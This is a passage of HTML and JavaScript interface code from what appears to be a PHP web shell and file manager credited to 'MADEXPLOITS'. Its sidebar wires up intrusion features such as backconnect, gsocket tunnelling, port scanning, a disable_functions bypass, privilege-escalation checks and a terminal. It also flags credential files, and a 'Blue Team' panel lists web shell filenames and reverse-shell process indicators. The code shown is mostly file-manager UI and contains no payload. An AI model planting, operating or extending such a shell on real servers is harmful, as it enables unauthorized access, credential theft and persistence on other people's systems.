              <div class="tool-output tall empty sec-terminal-out" id="blueOutLogs">Failed auth, sudo usage, suspicious web server errors.</div>
            </div>
          </div>
        </div>

        <div class="sec-panel" data-bpanel="ioc">
          <div class="sec-panel-card">
            <div class="sec-actions"><button class="btn btn-primary btn-sm" id="blueRunIoc">Hunt IOC Filenames</button></div>
            <div class="sec-terminal">
              <div class="sec-terminal-bar"><div class="sec-terminal-dots"><i></i><i></i><i></i></div><span class="sec-terminal-title">output — ioc hunt</span></div>
              <div class="tool-output tall empty sec-terminal-out" id="blueOutIoc">Known malicious filenames: c99, r57, wso, b374k, alfa…</div>
            </div>
          </div>
        </div>

        <div class="sec-panel" data-bpanel="process">
          <div class="sec-panel-card">
            <div class="sec-actions"><button class="btn btn-primary btn-sm" id="blueRunProcess">Scan Processes</button></div>
            <div class="sec-terminal">
              <div class="sec-terminal-bar"><div class="sec-terminal-dots"><i></i><i></i><i></i></div><span class="sec-terminal-title">output — processes</span></div>
              <div class="tool-output tall empty sec-terminal-out" id="blueOutProcess">nc, /dev/tcp, reverse shells, miners, scanners.</div>
            </div>
          </div>
        </div>

          </div>
        </div>
      </div>
    </div>
    <div class="modal-foot sec-hub-foot">
      <span class="left"><span class="sec-stat" id="blueMeta">Blue Team defensive toolkit</span></span>
      <button class="btn mc">Close</button>
    </div>
  </div>
</div>

<div class="overlay" id="mBlueDelete">
  <div class="modal m-sm tool-modal">
    <div class="modal-head"><h2><span class="tool-head-ico" data-bi="archive"></span>Move to Quarantine</h2><button class="btn btn-ghost btn-icon mc" type="button" aria-label="Tutup"></button></div>
    <div class="modal-body">
      <p id="blueDeleteMsg" style="color:var(--tx2);font-size:14px;line-height:1.6"></p>
      <div class="sec-callout blue" style="margin-top:12px">File dipindah ke <code>.gecko_quarantine/</code> (bukan dihapus). Bisa di-restore kapan saja.</div>
    </div>
    <div class="modal-foot">
      <button class="btn mc">Cancel</button>
      <button class="btn btn-danger" id="blueDeleteConfirm">Move to Quarantine</button>
    </div>
  </div>
</div>

<div class="overlay" id="mKeyboard">
  <div class="modal m-sm tool-modal">
    <div class="modal-head"><h2><span class="tool-head-ico" data-bi="keyboard"></span>Keyboard Shortcuts</h2><button class="btn btn-ghost btn-icon mc" type="button" aria-label="Tutup"></button></div>
    <div class="modal-body">
      <div class="kbd-grid">
        <div class="kbd-row"><span>Copy selected</span><kbd>Ctrl C</kbd></div>
        <div class="kbd-row"><span>Cut selected</span><kbd>Ctrl X</kbd></div>
        <div class="kbd-row"><span>Paste to folder</span><kbd>Ctrl V</kbd></div>
        <div class="kbd-row"><span>Search files</span><kbd>Ctrl K</kbd></div>
        <div class="kbd-row"><span>Refresh</span><kbd>F5</kbd></div>
        <div class="kbd-row"><span>Clear selection</span><kbd>Esc</kbd></div>
        <div class="kbd-row"><span>Shortcuts help</span><kbd>?</kbd></div>
        <div class="kbd-row"><span>Open first search result</span><kbd>Enter</kbd></div>
        <div class="kbd-row"><span>Copy current path</span><kbd>Click statusbar</kbd></div>
      </div>
    </div>
    <div class="modal-foot"><button class="btn mc">Close</button></div>
  </div>
</div>

<div class="ctx" id="ctx"></div>

<div class="bulk-bar" id="bulkBar" role="toolbar" aria-label="Bulk actions">
  <span class="bulk-count" id="bulkCount">0</span>
  <span class="bulk-label">selected</span>
  <span class="bulk-summary" id="bulkSummary"></span>
  <span class="bulk-sep"></span>
  <button class="bulk-btn" id="bulkCopy" title="Copy (Ctrl+C)">
    <svg viewBox="0 0 16 16"><path d="M0 6.75C0 5.784.784 5 1.75 5h1.222a.25.25 0 0 1 .25.25v7.5a.25.25 0 0 1-.25.25H1.75A1.75 1.75 0 0 1 0 13.75Zm6.5 0v7.5a1.75 1.75 0 0 0 1.75 1.75h7.5A1.75 1.75 0 0 0 17.5 13.25v-7.5A1.75 1.75 0 0 0 15.75 4h-7.5A1.75 1.75 0 0 0 6.5 5.75Z" fill="currentColor"/></svg>
    <span>Copy</span>
  </button>
  <button class="bulk-btn" id="bulkCut" title="Cut (Ctrl+X)">
    <svg viewBox="0 0 16 16"><path d="M5.921 3.862a1.25 1.25 0 0 0-1.768 0L1.075 7.94a.75.75 0 0 0 0 1.06l3.078 3.079a1.25 1.25 0 0 0 1.768 0L9.5 6.5 5.921 3.862ZM10.079 3.862a1.25 1.25 0 0 1 1.768 0l3.078 3.078a.75.75 0 0 1 0 1.06l-3.078 3.079a1.25 1.25 0 0 1-1.768 0L6.5 6.5l3.579-2.638Z" fill="currentColor"/></svg>
    <span>Cut</span>
  </button>
  <button class="bulk-btn" id="bulkPaste" title="Paste here (Ctrl+V)" disabled>
    <svg viewBox="0 0 16 16"><path d="M5.921 3.862a1.25 1.25 0 0 0-1.768 0L1.075 7.94a.75.75 0 0 0 0 1.06l3.078 3.079a1.25 1.25 0 0 0 1.768 0L9.5 6.5 5.921 3.862Z" fill="currentColor"/></svg>
    <span>Paste</span>
  </button>
  <button class="bulk-btn" id="bulkMove" title="Move to folder">
    <svg viewBox="0 0 16 16"><path d="M1.705 8.005a.75.75 0 0 1 .834.656 5.5 5.5 0 0 0 9.592 2.745l-1.067-1.067A.25.25 0 0 1 11.5 10.25H16v4.5a.25.25 0 0 1-.427.177l-1.068-1.068a7.002 7.002 0 0 1-11.772-3.603.75.75 0 0 1 .672-.751Z" fill="currentColor"/></svg>
    <span>Move</span>
  </button>
  <button class="bulk-btn" id="bulkZip" title="Compress to ZIP">
    <svg viewBox="0 0 16 16"><path d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5C0 14.216.784 15 1.75 15h12.5A1.75 1.75 0 0 0 16 13.25V2.75A1.75 1.75 0 0 0 14.25 1H1.75ZM1.5 2.75a.25.25 0 0 1 .25-.25h12.5a.25.25 0 0 1 .25.25v10.5a.25.25 0 0 1-.25.25H1.75a.25.25 0 0 1-.25-.25Zm4.25 6.5a.75.75 0 0 1 .75-.75h3a.75.75 0 0 1 0 1.5h-3a.75.75 0 0 1-.75-.75Z" fill="currentColor"/></svg>
    <span>Zip</span>
  </button>
  <span class="bulk-sep"></span>
  <button class="bulk-btn" id="bulkDl" title="Download selected">
    <svg viewBox="0 0 16 16"><path d="M2.75 14A1.75 1.75 0 0 1 1 12.25v-2.5a.75.75 0 0 1 1.5 0v2.5c0 .138.112.25.25.25h10.5a.25.25 0 0 0 .25-.25v-2.5a.75.75 0 0 1 1.5 0v2.5A1.75 1.75 0 0 1 14.25 14H2.75Z" fill="currentColor"/><path d="M7.25 7.567V1.75a.75.75 0 0 1 1.5 0v5.817l1.78-1.347a.75.75 0 1 1 1.042 1.078l-3.5 3.5a.75.75 0 0 1-1.06 0l-3.5-3.5a.75.75 0 0 1 1.06-1.06l2.678 2.33Z" fill="currentColor"/></svg>
    <span>Download</span>
  </button>
  <button class="bulk-btn del" id="bulkDel" title="Delete selected">
    <svg viewBox="0 0 16 16"><path d="M6.5 1.75a.25.25 0 0 1 .25-.25h2.5a.25.25 0 0 1 .25.25V3h-3V1.75Zm4.5 0V3h2.25a.75.75 0 0 1 0 1.5H2.75a.75.75 0 0 1 0-1.5H5V1.75C5 .784 5.784 0 6.75 0h2.5C10.216 0 11 .784 11 1.75ZM4.496 6.675l.66 6.6a.25.25 0 0 0 .249.225h5.19a.25.25 0 0 0 .249-.225l.66-6.6a.75.75 0 0 1 1.492.149l-.66 6.6A1.748 1.748 0 0 1 10.595 15h-5.19a1.75 1.75 0 0 1-1.741-1.575l-.66-6.6a.75.75 0 1 1 1.492-.15Z" fill="currentColor"/></svg>
    <span>Delete</span>
  </button>
  <span class="bulk-sep"></span>
  <button class="bulk-btn close" id="bulkClose" title="Clear selection (Esc)">
    <svg viewBox="0 0 16 16"><path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.75.75 0 1 1 1.06 1.06L9.06 8l3.22 3.22a.75.75 0 1 1-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 1 1-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z" fill="currentColor"/></svg>
  </button>
</div>

<div class="toasts" id="toasts" aria-live="polite" aria-atomic="false"></div>
<img class="img-hover-preview" id="imgHoverPreview" alt="" aria-hidden="true">

<script>
'use strict';
const BASE = '<?= addslashes($baseDir) ?>';
const API  = '?api=1';
const S = { path:'', entries:[], selected:new Set(), view:'list',
  createMode:'file', renameTarget:null, deleteTarget:null, chmodTarget:null, editorPath:null,
  termHistory:[], termHistIdx:-1, searchTimer:null,
  sortCol:'name', sortDir:'asc', lastClickIdx:-1, secReconLoaded:false,
  blueFindings:[], blueDeleteQueue:[], blueQuarantine:[], blueSevFilter:'ALL',
  editorDirty:false, editorSavedContent:'', edWordWrap:localStorage.getItem('gecko_wrap')==='1',
  clipboard:null, transferMode:'copy', transferPaths:[],
  fileFilter:'all', showHidden:false, gridSize:'m', ctxFocusIdx:-1 };

/** Clipboard helper — works on HTTP (Clipboard API often blocked without HTTPS). */
async function copyText(text){
  const t = String(text == null ? '' : text);
  if(!t) return false;

  // 1) Modern Clipboard API (HTTPS / localhost)
  if(navigator.clipboard && typeof navigator.clipboard.writeText === 'function' && window.isSecureContext){
    try{
      await navigator.clipboard.writeText(t);
      return true;
    }catch(e){ /* fall through */ }
  }

  // 2) Fallback: temporary textarea + execCommand('copy')
  try{
    const ta = document.createElement('textarea');
    ta.value = t;
    ta.setAttribute('readonly','');
    ta.style.cssText = 'position:fixed;top:0;left:0;width:1px;height:1px;padding:0;border:0;outline:none;box-shadow:none;background:transparent;opacity:0;';
    document.body.appendChild(ta);
    ta.focus();
    ta.select();
    ta.setSelectionRange(0, ta.value.length);
    const ok = document.execCommand('copy');
    document.body.removeChild(ta);
    return !!ok;
  }catch(e){
    return false;
  }
}

async function copyCurrentPath(){
  const p = _gbd651e8(S.path || '');
  if(!p){
    _g41a44e9('No path to copy','error');
    return;
  }
  const ok = await copyText(p);
  if(ok) _g41a44e9('Path copied: '+p);
  else _g41a44e9('Copy failed','error');
}

function _gc5c5d2e(e){
  const badges = [];
  if(e.name && e.name.startsWith('.')) badges.push('<span class="fbadge fbadge-hidden">dot</span>');
  const ln = e.name.toLowerCase();
  if(/\.env|wp-config|credentials|\.pem|id_rsa|\.git$/i.test(ln)) badges.push('<span class="fbadge fbadge-env">sens</span>');
  if(e.perm){
    const w = String(e.perm).slice(-1);
    if(/[2367]/.test(w)) badges.push('<span class="fbadge fbadge-warn">+w</span>');
  }
  if(e.modified && (Date.now()/1000 - e.modified) < 86400) badges.push('<span class="fbadge fbadge-new">new</span>');
  return badges.join('');
}

function _g03d5197(e){
  return {
    badges: _gc5c5d2e(e),
    recentCls: (e.modified && (Date.now()/1000 - e.modified) < 604800) ? ' frow-recent' : '',
    isImg: !e.is_dir && /\.(jpe?g|png|gif|webp|svg|ico|bmp)$/i.test(e.name)
  };
}

function _gf157113(){
  const panel = $('#panel');
  if(!panel) return;
  panel.innerHTML = '<div class="panel-skeleton">' + Array(8).fill('<div class="sk-row"></div>').join('') + '</div>';
}

function _g7bedd5a(outEl, active){
  if(!outEl) return;
  const term = outEl.closest('.sec-terminal');
  if(term) term.classList.toggle('is-scanning', !!active);
  outEl.classList.toggle('loading', !!active);
}

function _g12f41ac(text, q){
  if(!q) return esc(text);
  const safe = q.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
  try {
    return esc(text).replace(new RegExp('('+safe+')', 'gi'), '<mark>$1</mark>');
  } catch(e){ return esc(text); }
}

function _gd0a82cd(dirty){
  S.editorDirty = !!dirty;
  const dot = $('#edUnsaved');
  if(dot) dot.classList.toggle('show', S.editorDirty);
}

function _gb0ab632(){
  const area = $('#edArea');
  if(area) area.classList.toggle('wrap-mode', S.edWordWrap);
  const btn = $('#edWrapToggle');
  if(btn) btn.classList.toggle('active', S.edWordWrap);
}

function _g083369c(){
  $$('.sb-section-toggle').forEach(btn=>{
    btn.onclick = ()=>{
      const sec = btn.closest('.sb-section');
      if(!sec) return;
      sec.classList.toggle('open');
      btn.setAttribute('aria-expanded', sec.classList.contains('open') ? 'true' : 'false');
      const id = sec.dataset.sb;
      if(id) localStorage.setItem('gecko_sb_'+id, sec.classList.contains('open') ? '1' : '0');
    };
  });
  $$('.sb-section[data-sb]').forEach(sec=>{
    const v = localStorage.getItem('gecko_sb_'+sec.dataset.sb);
    if(v === '1'){ sec.classList.add('open'); sec.querySelector('.sb-section-toggle')?.setAttribute('aria-expanded','true'); }
    else if(v === '0'){ sec.classList.remove('open'); sec.querySelector('.sb-section-toggle')?.setAttribute('aria-expanded','false'); }
  });
}

function _g594530b(){
  const root = document.documentElement;
  if(localStorage.getItem('gecko_theme') === 'blue') root.classList.add('theme-blue');
  if(localStorage.getItem('gecko_light') === '1') root.classList.add('theme-light');
  const gs = localStorage.getItem('gecko_grid_size') || 'm';
  S.gridSize = gs;
  if(gs === 'm') delete root.dataset.gridSize;
  else root.dataset.gridSize = gs;
  $$('.grid-size-pill').forEach(p=> p.classList.toggle('active', p.dataset.gs === gs));
  const sw = parseInt(localStorage.getItem('gecko_sidebar_w') || '', 10);
  if(sw >= 200 && sw <= 420) root.style.setProperty('--sidebar-w', sw + 'px');

  const btn = $('#btnTheme');
  if(btn){
    const blue = root.classList.contains('theme-blue');
    btn.classList.toggle('accent-blue', blue);
    btn.setAttribute('aria-pressed', blue ? 'true' : 'false');
    btn.onclick = ()=>{
      const on = root.classList.toggle('theme-blue');
      localStorage.setItem('gecko_theme', on ? 'blue' : 'gold');
      btn.classList.toggle('accent-blue', on);
      btn.setAttribute('aria-pressed', on ? 'true' : 'false');
    };
  }
  const btnL = $('#btnThemeLight');
  if(btnL){
    const on = root.classList.contains('theme-light');
    btnL.classList.toggle('active', on);
    btnL.setAttribute('aria-pressed', on ? 'true' : 'false');
    btnL.onclick = ()=>{
      const lit = root.classList.toggle('theme-light');
      localStorage.setItem('gecko_light', lit ? '1' : '0');
      btnL.classList.toggle('active', lit);
      btnL.setAttribute('aria-pressed', lit ? 'true' : 'false');
    };
  }
  $$('.grid-size-pill').forEach(p=>{
    p.onclick = ()=>{
      const v = p.dataset.gs || 'm';
      S.gridSize = v;
      localStorage.setItem('gecko_grid_size', v);
      if(v === 'm') delete root.dataset.gridSize;
      else root.dataset.gridSize = v;
      $$('.grid-size-pill').forEach(x=> x.classList.toggle('active', x === p));
      if(S.view === 'grid') _g6a69c1a();
    };
  });
  const gsp = $('#gridSizePills');
  if(gsp) gsp.style.display = S.view === 'grid' ? '' : 'none';
}

function _gfilteredEntries(){
  let arr = S.entries;
  if(S.fileFilter === 'folders') arr = arr.filter(e=> e.is_dir);
  else if(S.fileFilter === 'files') arr = arr.filter(e=> !e.is_dir);
  else if(S.fileFilter === 'images') arr = arr.filter(e=> !e.is_dir && /\.(jpe?g|png|gif|webp|svg|ico|bmp)$/i.test(e.name));
  else if(S.fileFilter === 'code') arr = arr.filter(e=> !e.is_dir && /\.(php|phtml|js|jsx|ts|tsx|css|scss|html|htm|json|xml|sql|py|rb|go|vue|md|env|htaccess)$/i.test(e.name));
  if(!S.showHidden) arr = arr.filter(e=> !e.name.startsWith('.'));
  return arr;
}

function _gFileFilterInit(){
  $$('.file-filter').forEach(btn=>{
    btn.onclick = ()=>{
      const ff = btn.dataset.ff;
      if(ff === 'hidden'){
        S.showHidden = !S.showHidden;
        btn.classList.toggle('active', S.showHidden);
      } else {
        S.fileFilter = ff;
        $$('.file-filter').forEach(b=>{
          if(b.dataset.ff === 'hidden') return;
          b.classList.toggle('active', b.dataset.ff === ff);
        });
      }
      _g6a69c1a();
    };
  });
  if(S.showHidden) $$('.file-filter[data-ff="hidden"]').forEach(b=> b.classList.add('active'));
}

function _gSbMenuFilterInit(){
  const inp = $('#sbMenuSearch');
  if(!inp) return;
  inp.addEventListener('input', ()=>{
    const q = inp.value.trim().toLowerCase();
    $$('.sb-scroll .sb-btn[id]').forEach(btn=>{
      const label = (btn.textContent || '').replace(/\s+/g,' ').trim().toLowerCase();
      btn.classList.toggle('sb-hidden', q !== '' && !label.includes(q));
    });
    $$('.sb-section').forEach(sec=>{
      const any = sec.querySelector('.sb-btn[id]:not(.sb-hidden)');
      sec.style.display = any || !q ? '' : 'none';
    });
  });
}

const SB_PIN_KEY = 'gecko_sb_pins';
function _gSbPinsGet(){ try { return JSON.parse(localStorage.getItem(SB_PIN_KEY)||'[]'); } catch(e){ return []; } }
function _gSbPinsSet(ids){ localStorage.setItem(SB_PIN_KEY, JSON.stringify(ids.slice(0,8))); _gSbFavoritesRender(); }

function _gSbFavoritesRender(){
  const box = $('#sbFavorites');
  const label = $('#sbFavLabel');
  if(!box) return;
  const pins = _gSbPinsGet();
  if(label) label.classList.toggle('show', pins.length > 0);
  box.innerHTML = '';
  pins.forEach(id=>{
    const src = document.getElementById(id);
    if(!src) return;
    const clone = src.cloneNode(true);
    clone.removeAttribute('id');
    clone.onclick = ()=> src.click();
    box.appendChild(clone);
  });
}

function _gSbPinInit(){
  document.addEventListener('click', e=>{
    const btn = e.target.closest('.sb-btn[id]');
    if(!btn || !e.altKey) return;
    e.preventDefault();
    const id = btn.id;
    let pins = _gSbPinsGet();
    const was = pins.includes(id);
    if(was) pins = pins.filter(x=> x !== id);
    else pins.push(id);
    _gSbPinsSet(pins);
    _g41a44e9(was ? 'Dihapus dari favorit' : 'Ditambah ke favorit (Alt+klik untuk hapus)', 'ok');
  });
  _gSbFavoritesRender();
}

function _gSbResizeInit(){
  const handle = $('#sbResize');
  const sidebar = $('#sidebar');
  if(!handle || !sidebar) return;
  let startX = 0, startW = 0;
  const onMove = e=>{
    const w = Math.min(420, Math.max(200, startW + (e.clientX - startX)));
    document.documentElement.style.setProperty('--sidebar-w', w + 'px');
  };
  const onUp = ()=>{
    sidebar.classList.remove('resizing');
    document.removeEventListener('mousemove', onMove);
    document.removeEventListener('mouseup', onUp);
    const w = parseInt(getComputedStyle(document.documentElement).getPropertyValue('--sidebar-w'), 10);
    if(w) localStorage.setItem('gecko_sidebar_w', String(w));
  };
  handle.addEventListener('mousedown', e=>{
    e.preventDefault();
    startX = e.clientX;
    startW = sidebar.getBoundingClientRect().width;
    sidebar.classList.add('resizing');
    document.addEventListener('mousemove', onMove);
    document.addEventListener('mouseup', onUp);
  });
}

const RECENT_KEY = 'gecko_recent_paths';
function _gRecentPush(path){
  if(!path) return;
  const abs = _gbd651e8(path);
  let list = [];
  try { list = JSON.parse(localStorage.getItem(RECENT_KEY)||'[]'); } catch(e){}
  list = [abs, ...list.filter(p=> p !== abs)].slice(0, 8);
  localStorage.setItem(RECENT_KEY, JSON.stringify(list));
  _gRecentRender();
}
function _gRecentRender(){
  const el = $('#sbRecentList');
  if(!el) return;
  let list = [];
  try { list = JSON.parse(localStorage.getItem(RECENT_KEY)||'[]'); } catch(e){}
  if(!list.length){ el.innerHTML = '<span style="font-size:10px;color:var(--tx4);padding:4px 8px">—</span>'; return; }
  el.innerHTML = list.map(p=> `<button type="button" class="sb-recent-item" data-path="${esc(p)}" title="${esc(p)}">${esc(p)}</button>`).join('');
  el.querySelectorAll('.sb-recent-item').forEach(b=> b.onclick = ()=> navigate(b.dataset.path));
}

function _gDetailPaneUpdate(){
  const pane = $('#detailPane');
  const body = $('#detailBody');
  if(!pane || !body) return;
  if(S.selected.size !== 1){
    pane.classList.remove('open');
    return;
  }
  const p = [...S.selected][0];
  const en = S.entries.find(x=> itemPath(x.name) === p);
  if(!en){ pane.classList.remove('open'); return; }
  pane.classList.add('open');
  const fullPath = _gbd651e8(p);
  const { isImg } = _g03d5197(en);
  const prev = isImg ? `<img class="detail-preview" src="?view=${encodeURIComponent(p)}" alt="">` : '';
  const openBtn = en.is_dir
    ? `<button class="btn btn-primary btn-sm" type="button" data-dp="open">Buka folder</button>`
    : (en.editable ? `<button class="btn btn-primary btn-sm" type="button" data-dp="edit">Edit</button>` : '') +
      `<button class="btn btn-ghost btn-sm" type="button" data-dp="dl">Unduh</button>`;
  body.innerHTML = `${prev}<div class="detail-name">${esc(en.name)}</div>
    <dl class="detail-meta">
      <dt>Path</dt><dd style="word-break:break-all">${esc(fullPath)}</dd>
      <dt>Ukuran</dt><dd>${en.is_dir ? '—' : fmtBytes(en.size)}</dd>
      <dt>Izin</dt><dd>${esc(en.perm||'—')}</dd>
      <dt>Diubah</dt><dd>${esc(fmtDate(en.modified))}</dd>
    </dl>
    <div class="detail-actions">${openBtn}</div>`;
  body.querySelector('[data-dp="open"]')?.addEventListener('click', ()=> _g6e4bd74(p, true, en.editable));
  body.querySelector('[data-dp="edit"]')?.addEventListener('click', ()=> openEditor(p));
  body.querySelector('[data-dp="dl"]')?.addEventListener('click', ()=> { window.location = '?download=' + encodeURIComponent(p); });
}

function _gImgHoverInit(){
  const floater = $('#imgHoverPreview');
  if(!floater) return;
  document.addEventListener('mouseover', e=>{
    const card = e.target.closest('.gcard.has-thumb');
    if(!card){ floater.classList.remove('show'); return; }
    const src = card.querySelector('.gthumb')?.src;
    if(!src) return;
    floater.src = src;
    floater.classList.add('show');
    floater.style.left = Math.min(e.clientX + 16, innerWidth - 300) + 'px';
    floater.style.top = Math.min(e.clientY + 16, innerHeight - 300) + 'px';
  });
  document.addEventListener('mouseout', e=>{
    if(e.target.closest('.gcard.has-thumb')) return;
    if(!e.relatedTarget || !e.relatedTarget.closest?.('.gcard.has-thumb')) floater.classList.remove('show');
  });
}

function _gCtxKeyboardInit(){
  document.addEventListener('keydown', e=>{
    if(!ctxEl.classList.contains('open')) return;
    const items = [...ctxEl.querySelectorAll('.ci:not(.disabled):not([disabled])')];
    if(!items.length) return;
    if(e.key === 'Escape'){ ctxEl.classList.remove('open'); return; }
    if(e.key === 'ArrowDown' || e.key === 'ArrowUp'){
      e.preventDefault();
      S.ctxFocusIdx = e.key === 'ArrowDown'
        ? Math.min(items.length - 1, S.ctxFocusIdx + 1)
        : Math.max(0, S.ctxFocusIdx - 1);
      if(S.ctxFocusIdx < 0) S.ctxFocusIdx = 0;
      items.forEach((it,i)=> it.classList.toggle('focus', i === S.ctxFocusIdx));
      items[S.ctxFocusIdx]?.scrollIntoView({ block: 'nearest' });
    }
    if(e.key === 'Enter' && S.ctxFocusIdx >= 0){
      e.preventDefault();
      items[S.ctxFocusIdx]?.click();
    }
  });
}

function _geb3a69b(bc, segment, targetPath, isCur){
  const sep = document.createElement('span');
  sep.className = 'bc-sep';
  sep.textContent = '/';
  bc.appendChild(sep);
  const btn = document.createElement('button');
  btn.className = 'bc-btn' + (isCur ? ' bc-cur' : '');
  btn.textContent = segment;
  btn.title = targetPath;
  if(!isCur) btn.onclick = () => navigate(targetPath);
  bc.appendChild(btn);
}

function _g24bc753(bc, segments, prefix, isWin){
  const max = 5;
  const joinSeg = (acc, seg) => isWin ? acc + '/' + seg : (acc === '' ? '/' + seg : acc + '/' + seg);
  if(segments.length <= max){
    let acc = prefix;
    segments.forEach((seg, i)=>{
      acc = joinSeg(acc, seg);
      _geb3a69b(bc, seg, acc + '/', i === segments.length - 1);
    });
    return;
  }
  let acc = prefix;
  segments.slice(0, 2).forEach(seg=>{
    acc = joinSeg(acc, seg);
    _geb3a69b(bc, seg, acc + '/', false);
  });
  const ell = document.createElement('span');
  ell.className = 'bc-ellipsis';
  ell.textContent = '…';
  ell.title = segments.slice(2, -2).join('/');
  bc.appendChild(ell);
  acc = prefix;
  segments.slice(0, segments.length - 2).forEach(seg=>{ acc = joinSeg(acc, seg); });
  segments.slice(-2).forEach((seg, i)=>{
    acc = joinSeg(acc, seg);
    _geb3a69b(bc, seg, acc + '/', i === 1);
  });
}

function _g57ab552(arr){
  const col = S.sortCol, dir = S.sortDir==='desc' ? -1 : 1;
  return arr.slice().sort((a,b)=>{
    if(a.is_dir !== b.is_dir) return a.is_dir ? -1 : 1;
    let v;
    if(col==='size'){
      const sa = a.is_dir ? -1 : (a.size||0);
      const sb = b.is_dir ? -1 : (b.size||0);
      v = sa - sb;
    } else if(col==='modified'){
      v = (a.modified||0) - (b.modified||0);
    } else if(col==='perm'){
      v = String(a.perm||'').localeCompare(String(b.perm||''));
    } else {
      v = a.name.localeCompare(b.name, undefined, {numeric:true, sensitivity:'base'});
    }
    return v * dir;
  });
}

function _g2ff7afa(col){
  if(S.sortCol === col) S.sortDir = S.sortDir==='asc' ? 'desc' : 'asc';
  else { S.sortCol = col; S.sortDir = 'asc' }
  _g6a69c1a();
}

const $ = s => document.querySelector(s);
const $$ = s => [...document.querySelectorAll(s)];

// --- HELPER  BY MADEXPLOITS ---

function _g74108d2(path) {
    if (!path) return '';
    if (path === '/') return '/';
    // Replace multiple slashes with single slash and remove trailing slash
    return path.replace(/\/+/g, '/').replace(/\/$/, '');
}

// ─── Icons — Bootstrap Icons (<i class="bi bi-…">) ───────────────
function _bi(name, extraCls = '') {
  const x = extraCls ? ' ' + extraCls : '';
  return '<i class="bi bi-' + name + x + '" aria-hidden="true"></i>';
}
/** Resolve alias BI[key] or raw bootstrap icon name */
function _biFrom(keyOrName) {
  const name = (typeof BI !== 'undefined' && BI[keyOrName]) ? BI[keyOrName] : keyOrName;
  return _bi(name);
}

const BI = {
  logo: 'terminal-fill',
  search: 'search',
  sun: 'sun',
  palette: 'palette',
  refresh: 'arrow-clockwise',
  help: 'question-circle',
  list: 'list-ul',
  grid: 'grid-3x3-gap',
  logout: 'box-arrow-right',
  terminal: 'terminal',
  menu: 'list',
  arrowBack: 'arrow-left',
  plus: 'plus-lg',
  filePlus: 'file-earmark-plus',
  folderPlus: 'folder-plus',
  upload: 'cloud-upload',
  trash: 'trash',
  clock: 'clock',
  plug: 'plug',
  layers: 'layers',
  scan: 'broadcast',
  database: 'database',
  rotate: 'arrow-repeat',
  searchDir: 'folder2-open',
  copy: 'copy',
  shieldOff: 'shield-x',
  shieldCheck: 'shield-check',
  shield: 'shield',
  globe: 'globe2',
  fileText: 'file-text',
  alert: 'exclamation-triangle',
  bug: 'bug',
  timer: 'stopwatch',
  clipboard: 'clipboard-check',
  fileWarn: 'file-earmark-lock-fill',
  eye: 'eye',
  pencil: 'pencil',
  download: 'download',
  chevDown: 'chevron-down',
  archive: 'file-earmark-zip',
  scissors: 'scissors',
  spin: 'arrow-repeat',
  tools: 'tools',
  sec: 'shield-lock',
};

const SB_ICON_IDS = {
  sbNewFile:'filePlus', sbNewFolder:'folderPlus', sbUpload:'upload', sbDelSel:'trash',
  sbTerm:'terminal', sbCron:'clock', sbBackconnect:'plug', sbGsocket:'layers',
  sbPortScan:'scan', sbAdminer:'database', sbRecover:'rotate', sbFindWritable:'searchDir',
  sbVhostHint:'globe', sbLogTailer:'fileText',
  sbMassCopy:'copy', sbBypassDf:'shieldOff', sbSecHub:'shieldCheck', sbBlueHub:'shield',
  sbSecRecon:'search', sbSecSensitive:'fileWarn', sbSecHttp:'globe', sbSecPrivesc:'alert',
  sbBlueBackdoor:'bug', sbBluePersistence:'timer', sbBlueAudit:'clipboard'
};

function _gInjectUiIcons(){
  const setBi = (sel, key)=>{
    const el = typeof sel === 'string' ? document.querySelector(sel) : sel;
    if(!el || !BI[key]) return;
    el.innerHTML = _bi(BI[key]);
  };
  setBi('.logo-icon', 'logo');
  const searchIco = document.querySelector('.search-wrap .search-ico:not(.bi)');
  if(searchIco && searchIco.tagName === 'SVG') searchIco.outerHTML = _bi('search', 'search-ico');
  const sbSearchSvg = document.querySelector('.sb-search-wrap svg');
  if(sbSearchSvg) sbSearchSvg.outerHTML = _bi('search', 'search-ico');
  setBi('#btnThemeLight', 'sun');
  setBi('#btnTheme', 'palette');
  setBi('#btnRefresh', 'refresh');
  setBi('#btnHelp', 'help');
  setBi('#btnList', 'list');
  setBi('#btnGrid', 'grid');
  setBi('#btnLogout', 'logout');
  const termBtn = $('#btnTerm');
  if(termBtn && BI.terminal) termBtn.innerHTML = _bi('terminal') + ' Terminal';
  setBi('#btnBurger', 'menu');
  const upBtn = $('#btnUp');
  if(upBtn && BI.arrowBack) upBtn.innerHTML = _bi('arrowBack');
  $$('.sb-section[data-sb="tools"] .sb-section-toggle svg:first-of-type').forEach(el=>{
    el.outerHTML = _bi('tools');
  });
  $$('.sb-section[data-sb="security"] .sb-section-toggle svg:first-of-type').forEach(el=>{
    el.outerHTML = _bi('sec');
  });
  $$('.sb-ico[data-bi]').forEach(wrap=>{
    wrap.innerHTML = _bi(wrap.getAttribute('data-bi'));
  });
  Object.entries(SB_ICON_IDS).forEach(([id, key])=>{
    const btn = document.getElementById(id);
    const wrap = btn && btn.querySelector('.sb-ico');
    if(wrap && !wrap.getAttribute('data-bi')) wrap.innerHTML = _biFrom(key);
  });
  $$('.sb-arrow').forEach(el=>{ el.outerHTML = _bi('chevron-right', 'sb-arrow'); });
  $$('.sb-section-toggle .chev').forEach(el=>{
    el.outerHTML = _bi('chevDown', 'chev');
  });
  $$('.sidebar-label svg').forEach(el=>{ el.outerHTML = _bi('plus-lg'); });
  $$('.sidebar-label .bi:not(.bi-plus-lg)').forEach(el=>{ el.className = 'bi bi-plus-lg'; });
  const dzIco = $('#dropzone svg');
  if(dzIco) dzIco.outerHTML = _bi('upload');
  const loadWrap = $('#loading .empty-ico');
  if(loadWrap){
    loadWrap.innerHTML = _bi('spin', 'spin');
  }
  _gInjectSecNavIcons();
  _gInjectModalHeadIcons();
  document.querySelectorAll('.modal-head .btn.mc, .modal-head .mc.btn').forEach(btn=>{
    if(!btn.querySelector('.bi')) btn.innerHTML = _bi('x-lg');
  });
  const dbOpen = $('#dbOpenAdminer');
  if(dbOpen && !dbOpen.querySelector('.bi')) dbOpen.innerHTML = _bi('box-arrow-up-right') + ' Tab penuh';
  const dbSync = $('#dbRefreshManager');
  if(dbSync && !dbSync.querySelector('.bi')) dbSync.innerHTML = _bi('arrow-clockwise') + ' Sync';
  const secPi = $('#secPhpinfo');
